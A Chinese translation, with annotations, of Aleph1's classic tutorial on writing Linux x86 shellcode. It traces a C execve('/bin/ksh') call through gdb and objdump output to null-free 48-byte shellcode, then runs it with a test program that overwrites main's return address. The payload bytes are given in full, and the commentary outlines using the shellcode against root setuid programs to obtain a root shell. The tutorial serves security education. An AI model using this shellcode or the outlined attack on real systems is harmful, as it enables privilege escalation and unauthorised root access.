书写Linux下自己的shellcode

  概述:aleph1书写了这篇经典文章,首先要向他致敬。tt整理翻译了它,其次就是要向他表示衷心的感谢。该篇文章由浅入深地详细介绍了整个书写shellcode的步骤,并给出了图示帮助理解。文章中涉及到了一些工具的使用,要求具备汇编语言、编译原理的基础知识,如果你对此不了解的话,我建议你不要看下去,而是应该回头学习更基础的东西。gdb、objdump、vi、gcc等等工具你必须学会使用,你必须了解call命令、int命令与普通jmp命令的区别所在,你还应该知道函数从c语言编译到机器码时做了什么工作。如果所有的这一切都不成问题,你可以开始了。come on,baby!测试:RedHat 6.0/Intel PII目录:★ 让我们开始吧1. vi shellcode.c2. gcc -o shellcode -ggdb -static shellcode.c3. gdb shellcode4. 研究 main() 函数的汇编代码5. 研究 execve() 函数的执行过程6. vi shellcode_exit.c7. gcc -o shellcode_exit -static shellcode_exit.c8. gdb shellcode_exit9. 研究 exit() 函数的执行过程10. 整个过程的伪汇编代码11. 观察堆栈分布情况12. 修改后的伪汇编代码13. 调整汇编代码14. 观察当前堆栈15. vi shellcodeasm.c16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c17. gdb shellcodeasm18. 验证shellcode19. 最后的调整20. 验证最后调整得到的shellcode★ 我对shellcode以及这篇文章的看法1. 你是从DOS年代过来的吗?2. 关于文章中的一些技术说明3. 如何写Sun工作站上的shellcode?★ 让我们开始吧1. vi shellcode.c#include int main ( int argc, char * argv[] ){char * name[2];name[0] = "/bin/ksh";name[1] = NULL;execve( name[0], name, NULL );return 0;}2. gcc -o shellcode -ggdb -static shellcode.c3. gdb shellcode[scz@ /home/scz/src]> gdb shellcodeGNU gdb 4.17.0.11 with Linux supportThis GDB was configured as "i386-redhat-linux"…(gdb) disassemble main <– — — 输入Dump of assembler code for function main:0x80481a0 : pushl %ebp0x80481a1 : movl %esp,%ebp0x80481a3 : subl $0x8,%esp0x80481a6 : movl $0x806f308,0xfffffff8(%ebp)0x80481ad : movl $0x0,0xfffffffc(%ebp)0x80481b4 : pushl $0x00x80481b6 : leal 0xfffffff8(%ebp),%eax0x80481b9 : pushl %eax0x80481ba : movl 0xfffffff8(%ebp),%eax0x80481bd : pushl %eax0x80481be : call 0x804b9b0 <__execve>0x80481c3 : addl $0xc,%esp0x80481c6 : xorl %eax,%eax0x80481c8 : jmp 0x80481d0 0x80481ca : leal 0x0(%esi),%esi0x80481d0 : leave0x80481d1 : retEnd of assembler dump.(gdb) disas __execve <– — — 输入Dump of assembler code for function __execve:0x804b9b0 <__execve>: pushl %ebx0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx0x804b9bd <__execve+13>: movl $0xb,%eax0x804b9c2 <__execve+18>: int $0x800x804b9c4 <__execve+20>: popl %ebx0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>0x804b9d0 <__execve+32>: retEnd of assembler dump.4. 研究 main() 函数的汇编代码0x80481a0 : pushl %ebp # 保存原来的栈基指针# 栈基指针与堆栈指针不是一个概念# 栈基指针对应栈底,堆栈指针对应栈顶0x80481a1 : movl %esp,%ebp # 修改得到新的栈基指针# 与我们以前在dos下汇编格式不一样# 这个语句是说把esp的值赋给ebp# 而在dos下,正好是反过来的,一定要注意0x80481a3 : subl $0x8,%esp # 堆栈指针向栈顶移动八个字节# 用于分配局部变量的存储空间# 这里具体就是给 char * name[2] 预留空间# 因为每个字符指针占用4个字节,总共两个指针0x80481a6 : movl $0x806f308,0xfffffff8(%ebp)# 将字符串"/bin/ksh"的地址拷贝到name[0]# name[0] = "/bin/ksh";# 0xfffffff8(%ebp) 就是 ebp – 8 的意思# 注意堆栈的增长方向以及局部变量的分配方向# 先分配name[0]后分配name[1]的空间0x80481ad : movl $0x0,0xfffffffc(%ebp)# 将NULL拷贝到name[1]# name[1] = NULL;0x80481b4 : pushl $0x0# 按从右到左的顺序将execve()的三个参数依次压栈# 首先压入 NULL (第三个参数)# 注意pushl将压入一个四字节长的00x80481b6 : leal 0xfffffff8(%ebp),%eax# 将 ebp – 8 本身放入eax寄存器中# leal的意思是取地址,而不是取值0x80481b9 : pushl %eax # 其次压入 name0x80481ba : movl 0xfffffff8(%ebp),%eax0x80481bd : pushl %eax # 将 ebp – 8 本身放入eax寄存器中# 最后压入 name[0]# 即 "/bin/ksh" 字符串的地址0x80481be : call 0x804b9b0 <__execve># 开始调用 execve()# call指令首先会将返回地址压入堆栈0x80481c3 : addl $0xc,%esp# esp + 12# 释放为了调用 execve() 而压入堆栈的内容0x80481c6 : xorl %eax,%eax0x80481c8 : jmp 0x80481d0 0x80481ca : leal 0x0(%esi),%esi0x80481d0 : leave0x80481d1 : ret5. 研究 execve() 函数的执行过程Linux在寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式(int $0x80)0x804b9b0 <__execve>: pushl %ebx # ebx压栈0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx# 把 esp + 16 本身赋给edx# 为什么是16,因为栈顶现在是ebx# 下面依次是返回地址、name[0]、name、NULL# edx –> NULL0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx# 把 esp + 12 本身赋给 ecx# ecx –> name# 命令的参数数组,包括命令自己0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx# 把 esp + 8 本身赋给 ebx# ebx –> name[0]# 命令本身,"/bin/ksh"0x804b9bd <__execve+13>: movl $0xb,%eax# 设置eax为0xb,这是syscall表中的索引# 0xb对应execve0x804b9c2 <__execve+18>: int $0x80# 软件中断,转入kernel模式0x804b9c4 <__execve+20>: popl %ebx# 恢复ebx0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error># 判断返回值,报告可能的系统调用错误0x804b9d0 <__execve+32>: ret # execve() 调用返回# 该指令会用压在堆栈中的返回地址从上面的分析可以看出,完成 execve() 系统调用,我们所要做的不过是这么几项而已:a) 在内存中有以NULL结尾的字符串"/bin/ksh"b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值c) 将0xb拷贝到寄存器EAX中d) 将"/bin/ksh"的地址拷贝到寄存器EBX中e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中f) 将 NULL 拷贝到寄存器EDX中g) 执行中断指令int $0x80如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据是随机的,通常这个程序会core dump。我们希望如果execve调用失败的话,程序可以正常退出,因此我们必须在execve调用后增加一个exit系统调用。它的C语言程序如下:6. vi shellcode_exit.c#include int main (){exit( 0 );}7. gcc -o shellcode_exit -static shellcode_exit.c8. gdb shellcode_exit[scz@ /home/scz/src]> gdb shellcode_exitGNU gdb 4.17.0.11 with Linux supportThis GDB was configured as "i386-redhat-linux"…(gdb) disas _exit <– — — 输入Dump of assembler code for function _exit:0x804b970 <_exit>: movl %ebx,%edx0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx0x804b976 <_exit+6>: movl $0x1,%eax0x804b97b <_exit+11>: int $0x800x804b97d <_exit+13>: movl %edx,%ebx0x804b97f <_exit+15>: cmpl $0xfffff001,%eax0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>End of assembler dump.9. 研究 exit() 函数的执行过程我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放入EBX中,然后执行"int $0x80"。大部分程序正常退出时返回0值,我们也在EBX中放入0。现在我们所要完成的工作又增加了三项:a) 在内存中有以NULL结尾的字符串"/bin/ksh"b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值c) 将0xb拷贝到寄存器EAX中d) 将"/bin/ksh"的地址拷贝到寄存器EBX中e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中f) 将 NULL 拷贝到寄存器EDX中g) 执行中断指令int $0x80h) 将0x1拷贝到寄存器EAX中i) 将0x0拷贝到寄存器EBX中j) 执行中断指令int $0x8010. 整个过程的伪汇编代码下面我们用汇编语言完成上述工作。我们把"/bin/ksh"字符串放到代码的后面,并且会把字符串的地址和NULL加到字符串的后面:——————————————————————————movl string_addr,string_addr_addr #将字符串的地址放入某个内存单元中movb $0x0,null_byte_addr #将null放入字符串"/bin/ksh"的结尾movl $0x0,null_addr #将NULL放入某个内存单元中movl $0xb,%eax #将0xb拷贝到EAX中movl string_addr,%ebx #将字符串的地址拷贝到EBX中leal string_addr_addr,%ecx #将存放字符串地址的地址拷贝到ECX中leal null_string,%edx #将存放NULL的地址拷贝到EDX中int $0x80 #执行中断指令int $0x80 (execve()完成)movl $0x1, %eax #将0x1拷贝到EAX中movl $0x0, %ebx #将0x0拷贝到EBX中int $0x80 #执行中断指令int $0x80 (exit(0)完成)/bin/ksh string goes here. #存放字符串"/bin/ksh"——————————————————————————11. 观察堆栈分布情况现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中的确切位置。一种解决的方法是用一个jmp和call指令。jmp和call指令可以用IP相关寻址,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切数值。如果我们将call指令放在字符串"/bin/ksh"的前面,然后jmp到call指令的位置,那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址)压入堆栈。我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符串地址)从堆栈中弹出到某个寄存器中。假设J代表JMP指令,C代表CALL指令,S代表其他指令,s代表字符串"/bin/ksh",那么我们执行的顺序就象下图所示:内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端buffer sfp ret a b c<—— [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]^|^ ^| ||||_____________||____________| (1)(2) ||_____________|||______________| (3)栈顶 栈底sfp : 栈基指针ret : 返回地址a,b,c: 函数入口参数(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的起始处(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行12. 修改后的伪汇编代码经过上述修改后,我们的汇编代码变成了下面的样子:——————————————————————————jmp offset-to-call # 3 bytes 1.首先跳到call指令处去执行popl %esi # 1 byte 3.从堆栈中弹出字符串地址到ESI中movl %esi,array-offset(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面movb $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾movl $0x0,null-offset(%esi) # 7 bytes 6.将null长字放到字符串地址的地址后面movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中leal array-offset(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECXleal null-offset(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDXint $0x80 # 2 bytes 11.调用中断指令int $0x80movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中int $0x80 # 2 bytes 14.调用中断int $0x80call offset-to-popl # 5 bytes 2.将返回地址压栈,跳到popl处执行/bin/ksh string goes here.——————————————————————————13. 调整汇编代码计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到null串的偏移量,我们得到下面的程序:——————————————————————————jmp 0x2a # 3 bytes 1.首先跳到call指令处去执行popl %esi # 1 byte 3.从堆栈中弹出字符串地址到ESI中movl %esi,0x9(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面movb $0x0,0x8(%esi) # 4 bytes 5.将null字节放到字符串尾部movl $0x0,0xd(%esi) # 7 bytes 6.将null长字放到字符串地址后movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中leal 0x9(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECXleal 0xd(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDXint $0x80 # 2 bytes 11.调用中断指令int $0x80movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中int $0x80 # 2 bytes 14.调用中断int $0x80call -0x2f # 5 bytes 2.将返回地址压栈,跳到popl处执行.string \&;/bin/ksh\&; # 9 bytes——————————————————————————14. 观察当前堆栈当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况假设字符串的地址是0xbfffc5f0:|…….. ||———|0xbfffc5f0 %esi 字符串地址| ‘/’ ||———|| ‘b’ ||———|| ‘i’ ||———|| ‘n’ ||———|| ‘/’ ||———|| ‘k’ ||———|| ‘s’ ||———|| ‘h’ ||———|0xbfffc5f8 0x8(%esi) null字节的地址| 0 ||———|0xbfffc5f9 0x9(%esi) 存放字符串指针的地址 即name[0] 大小是4个字节| 0xbf ||———|注: 这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序。| 0xff | 我没有验证过,只是为了说明问题,简单的这么写了一下。|———|| 0xc5 ||———|| 0xf0 ||———|0xbfffc5fd 0xd(%esi) 空串的地址 即name[1] 大小是4个字节| 0 ||———|| 0 ||———|| 0 ||———|| 0 ||———|| ……. |15. vi shellcodeasm.c为了证明它能正常工作,我们必须编译并运行它。但这里有个问题,我们的代码要自己修改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望执行的代码放到堆栈或数据段中,并且转向执行它,可以将代码放到数据段的一个全局数组中。首先需要得到二进制码的16进制形式,可以先编译,然后用GDB得到我们所要的东西int main (){__asm__("jmp 0x2a # 3 bytespopl %esi # 1 bytemovl %esi,0x9(%esi) # 3 bytesmovb $0x0,0x8(%esi) # 4 bytesmovl $0x0,0xd(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x9(%esi),%ecx # 3 bytesleal 0xd(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall -0x2f # 5 bytes.string \&;/bin/ksh\&; # 9 bytes");}16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c17. gdb shellcodeasm[scz@ /home/scz/src]> gdb shellcodeasmGNU gdb 4.17.0.11 with Linux supportThis GDB was configured as "i386-redhat-linux"…(gdb) disassemble mainDump of assembler code for function main:0x8048398 : pushl %ebp0x8048399 : movl %esp,%ebp0x804839b : jmp 0x80483c7 0x804839d : popl %esi0x804839e : movl %esi,0x9(%esi)0x80483a1 : movb $0x0,0x8(%esi)0x80483a5 : movl $0x0,0xd(%esi)0x80483ac : movl $0xb,%eax0x80483b1 : movl %esi,%ebx0x80483b3 : leal 0x9(%esi),%ecx0x80483b6 : leal 0xd(%esi),%edx0x80483b9 : int $0x800x80483bb : movl $0x1,%eax0x80483c0 : movl $0x0,%ebx0x80483c5 : int $0x800x80483c7 : call 0x804839d 0x80483cc : das0x80483cd : boundl 0x6e(%ecx),%ebp0x80483d0 : das0x80483d1 : imull $0x0,0x68(%ebx),%esi0x80483d5 : leave0x80483d6 : retEnd of assembler dump.(gdb) x/bx main+3 <– — — 输入0x804839b : 0xeb(gdb)0x804839c : 0x2a(gdb)…如此下去即可得到完整的机器码。但是我们不必如此罗嗦,昨天介绍过的objdump今天派上用场了:objdump -j .text -Sl shellcodeasm | more/main得到如下结果:08048398 :main():/home/scz/src/shellcodeasm.c:2{8048398: 55 pushl %ebp8048399: 89 e5 movl %esp,%ebp/home/scz/src/shellcodeasm.c:3__asm__804839b: eb 2a jmp 80483c7 804839d: 5e popl %esi804839e: 89 76 09 movl %esi,0x9(%esi)80483a1: c6 46 08 00 movb $0x0,0x8(%esi)80483a5: c7 46 0d 00 00 00 00 movl $0x0,0xd(%esi)80483ac: b8 0b 00 00 00 movl $0xb,%eax80483b1: 89 f3 movl %esi,%ebx80483b3: 8d 4e 09 leal 0x9(%esi),%ecx80483b6: 8d 56 0d leal 0xd(%esi),%edx80483b9: cd 80 int $0x8080483bb: b8 01 00 00 00 movl $0x1,%eax80483c0: bb 00 00 00 00 movl $0x0,%ebx80483c5: cd 80 int $0x8080483c7: e8 d1 ff ff ff call 804839d 80483cc: 2f das80483cd: 62 69 6e boundl 0x6e(%ecx),%ebp80483d0: 2f das80483d1: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi/home/scz/src/shellcodeasm.c:21("jmp 0x2a # 3 bytespopl %esi # 1 bytemovl %esi,0x9(%esi) # 3 bytesmovb $0x0,0x8(%esi) # 4 bytesmovl $0x0,0xd(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x9(%esi),%ecx # 3 bytesleal 0xd(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall -0x2f # 5 bytes.string \&;/bin/ksh\&; # 9 bytes");}80483d5: c9 leave80483d6: c3 ret80483d7: 90 nop整理shellcode如下:eb 2a 5e 89 76 09 c6 46 08 00 c7 46 0d 00 00 00 00 b8 0b 0000 00 89 f3 8d 4e 09 8d 56 0d cd 80 b8 01 00 00 00 bb 00 0000 00 cd 80 e8 d1 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c318. 验证shellcodevi shelltest.cchar shellcode[] ="\xeb\x2a\x5e\x89\x76\x09\xc6\x46\x08\x00\xc7\x46\x0d\x00\x00\x00\x00\xb8\x0b\x00""\x00\x00\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00""\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";int main (){int * ret; /* 当前esp指向的地址保存ret的值 */ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */}[scz@ /home/scz/src]> gcc -o shelltest shelltest.c[scz@ /home/scz/src]> ./shelltest$ exit[scz@ /home/scz/src]>那说明一切都成功了!为了帮助你理解,我们还是来看看这段程序究竟做了什么:objdump -j .text -Sl shelltest | more/main得到如下结果:08048398 :main():8048398: 55 pushl %ebp8048399: 89 e5 movl %esp,%ebp804839b: 83 ec 04 subl $0x4,%esp # 给局部变量预留空间804839e: 8d 45 fc leal 0xfffffffc(%ebp),%eax # ebp – 4 => eax# 取了栈顶指针# 为什么不直接用esp赋值?80483a1: 8d 50 08 leal 0x8(%eax),%edx # eax + 8 => edx# edx现在指向IP80483a4: 89 55 fc movl %edx,0xfffffffc(%ebp) # edx => [ ebp – 4 ]# 把IP的地址放入局部变量中80483a7: 8b 45 fc movl 0xfffffffc(%ebp),%eax # ebp – 4 => eax# eax现在保存着IP的地址80483aa: c7 00 40 94 04 08 movl $0x8049440,(%eax) # 修改了返回地址80483b0: c9 leave80483b1: c3 ret80483b2: 90 nop19. 最后的调整它现在工作了,但还有个小问题。大多数情况下我们都是试图overflow一个字符型buffer,因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程就被中止了。因此要使exploit工作,,shellcode中不能有null字节,我们可以略微调整一下代码:有问题的指令 替代指令——————————————————–movb $0x0,0x8(%esi) xorl %eax,%eaxmovl $0x0,0xd(%esi) movb %eax,0x8(%esi)movl %eax,0xd(%esi)——————————————————–movl $0xb,%eax movb $0xb,%al——————————————————–movl $0x1, %eax xorl %ebx,%ebxmovl $0x0, %ebx movl %ebx,%eaxinc %eax——————————————————–我们改进后的代码如下:vi shellcodeasm.cint main (){__asm__("jmp 0x1f # 3 bytespopl %esi # 1 bytemovl %esi,0x9(%esi) # 3 bytesxorl %eax,%eax # 2 bytesmovb %eax,0x8(%esi) # 3 bytesmovl %eax,0xd(%esi) # 3 bytesmovb $0xb,%al # 2 bytesmovl %esi,%ebx # 2 bytesleal 0x9(%esi),%ecx # 3 bytesleal 0xd(%esi),%edx # 3 bytesint $0x80 # 2 bytesxorl %ebx,%ebx # 2 bytesmovl %ebx,%eax # 2 bytesinc %eax # 1 bytesint $0x80 # 2 bytescall -0x24 # 5 bytes.string \&;/bin/ksh\&; # 9 bytes# 48 bytes total");}[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c[scz@ /home/scz/src]> gdb shellcodeasmGNU gdb 4.17.0.11 with Linux supportThis GDB was configured as "i386-redhat-linux"…(gdb) disas mainDump of assembler code for function main:0x8048398 : pushl %ebp0x8048399 : movl %esp,%ebp0x804839b : jmp 0x80483bc 0x804839d : popl %esi0x804839e : movl %esi,0x9(%esi)0x80483a1 : xorl %eax,%eax0x80483a3 : movb %al,0x8(%esi)0x80483a6 : movl %eax,0xd(%esi)0x80483a9 : movb $0xb,%al0x80483ab : movl %esi,%ebx0x80483ad : leal 0x9(%esi),%ecx0x80483b0 : leal 0xd(%esi),%edx0x80483b3 : int $0x800x80483b5 : xorl %ebx,%ebx0x80483b7 : movl %ebx,%eax0x80483b9 : incl %eax0x80483ba : int $0x800x80483bc : call 0x804839d 0x80483c1 : das0x80483c2 : boundl 0x6e(%ecx),%ebp0x80483c5 : das0x80483c6 : imull $0x0,0x68(%ebx),%esi0x80483ca : leave0x80483cb : retEnd of assembler dump.(gdb)objdump -j .text -Sl shellcodeasm | more/main得到如下结果:08048398 :main():/home/scz/src/shellcodeasm.c:2{8048398: 55 pushl %ebp8048399: 89 e5 movl %esp,%ebp/home/scz/src/shellcodeasm.c:3__asm__804839b: eb 1f jmp 80483bc 804839d: 5e popl %esi804839e: 89 76 09 movl %esi,0x9(%esi)80483a1: 31 c0 xorl %eax,%eax80483a3: 88 46 08 movb %al,0x8(%esi)80483a6: 89 46 0d movl %eax,0xd(%esi)80483a9: b0 0b movb $0xb,%al80483ab: 89 f3 movl %esi,%ebx80483ad: 8d 4e 09 leal 0x9(%esi),%ecx80483b0: 8d 56 0d leal 0xd(%esi),%edx80483b3: cd 80 int $0x8080483b5: 31 db xorl %ebx,%ebx80483b7: 89 d8 movl %ebx,%eax80483b9: 40 incl %eax80483ba: cd 80 int $0x8080483bc: e8 dc ff ff ff call 804839d 80483c1: 2f das80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp80483c5: 2f das80483c6: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi/home/scz/src/shellcodeasm.c:24("jmp 0x1f # 3 bytespopl %esi # 1 bytemovl %esi,0x9(%esi) # 3 bytesxorl %eax,%eax # 2 bytesmovb %eax,0x8(%esi) # 3 bytesmovl %eax,0xd(%esi) # 3 bytesmovb $0xb,%al # 2 bytesmovl %esi,%ebx # 2 bytesleal 0x9(%esi),%ecx # 3 bytesleal 0xd(%esi),%edx # 3 bytesint $0x80 # 2 bytesxorl %ebx,%ebx # 2 bytesmovl %ebx,%eax # 2 bytesinc %eax # 1 bytesint $0x80 # 2 bytescall -0x24 # 5 bytes.string \&;/bin/ksh\&; # 9 bytes# 48 bytes total");}80483ca: c9 leave80483cb: c3 ret80483cc: 90 nop整理shellcode如下:eb 1f 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b89 f3 8d 4e 09 8d 56 0d cd 80 31 db 89 d8 40 cd80 e8 dc ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c320. 验证最后调整得到的shellcodevi shelltest.cchar shellcode[] ="\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b""\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";int main (){int * ret; /* 当前esp指向的地址保存ret的值 */ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */}[scz@ /home/scz/src]> gcc -o shelltest shelltest.c[scz@ /home/scz/src]> ./shelltest$ exit[scz@ /home/scz/src]>现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题。你可以根据自己的需要,编写出自己的shellcode来。★ 我对shellcode以及这篇文章的看法1. 你是从DOS年代过来的吗?如果答案肯定,我就不多说了,因为上面通篇实际上并没有超出当年我们在DOS游戏汇编的范畴,毕竟Linux跑在Intel x86架构上。当发生far call的时候,cs:ip对被压栈,先是ip后是cs,现在想起来为什么上面的介绍那么地似曾相识了吧。int发生的时候不过多压了个flag而已。那么far jmp就更不用多说。回忆,再回忆,回忆那些当年我们为之付出心血的DOS下的汇编语言。ret、iret、int 3、int 21、int 1,TSR,你还能想起什么尘封了的往事。通过修改堆栈中的返回地址将程序流程引导到别处,曾经是dos下的家常便饭,为了防止中断向量被修改,宁可远程call远程跳转也不愿意使用int指令,编写自己的debug程序,利用int 1的单步,难道你没有修改过堆栈中的返回地址?为了嵌入那些当前编译器不支持的机器码,用db直接插入机器码。为了提高某些关键代码的执行效率,使用嵌入式汇编,难道你从来没有看过.s文件?不再回忆,DOS已是昨天。2. 关于文章中的一些技术说明原文是用/bin/sh的,我为了从头实际演练一番,用了/bin/ksh,你要是乐意可以使用任意的shell。其次,可能是原文有误,要么是翻译中书写错误,反正是有那么几处错误,我都一一调整过来了。原文是用gdb那样获得完整的shellcode的,而我昨天刚刚介绍了objdump的使用,所以也可以利用objdump获得shellcode,上文中已经多次给出了完整的命令。最后的shelltest,我给加上了注释,因为你可能看到最后没有理解shellcode如何被执行的。因为c编译器给main()函数前后都加了启动结束代码,main()函数也是被调用的,也有自己的返回地址,所以程序中修改main()的返回地址使得shellcode被执行。所以,你不能在main()函数的最后调用exit(0)。因为函数的形式参数先于返回地址压栈,所以即使成了int main ( int argc, char * argv[] )也不影响返回地址的修改。定义ret局部变量就意味着esp已经获得,必须明确理解这一点。这里仅仅介绍了如何写自己的shellcode,并没有介绍缓冲区溢出本身。简单说两句。从纯粹的攻击角度而言,首先要寻找那些suid/sgid的属主是root的应用程序,然后判断该应用程序是否可能发生缓冲区溢出,继而抢在应用程序结束之前嵌入自己的shellcode,因为应用程序结束之前一般而言还处在suid状态,那么此时执行的shellcode也就具有了suid特性,于是拥有root权限的shell展现在你的眼前,还等什么?关于缓冲区溢出本身回头再经典回放,力争做到通俗易懂,可以照猫画老虎,今天不提它了,:-)3. 如何写Sun工作站上的shellcode?建议去绿色兵团的Unix系统安全论坛学习这方面的知识,tt目前坐镇那里,倒是展开了不少技术讨论,你可以只看不吭声,嘿嘿。不过,只要稍微花点时间看看answer book中关于Sun工作站上的汇编那一部分,原理是一致的,而且GNU工具也不是没有,如果你一定喜欢gdb而不是dbx的话,faint我是没有Sun工作站可以用了,否则今天就以它为例子来演习,可惜。★ 后记最后再次向aleph1致敬,感谢tt为我们大家翻译整理了它。要是多一些这样的朋友,系统安全一定可以得到实质性提高。BTW,讨厌听别人说,怎么怎么黑了谁谁。原作者:aleph1 翻译注释:warning3来 源:绊住的不仅是双脚,还有未来。

书写Linux下自己的shellcode

相关文章:

你感兴趣的文章:

标签云: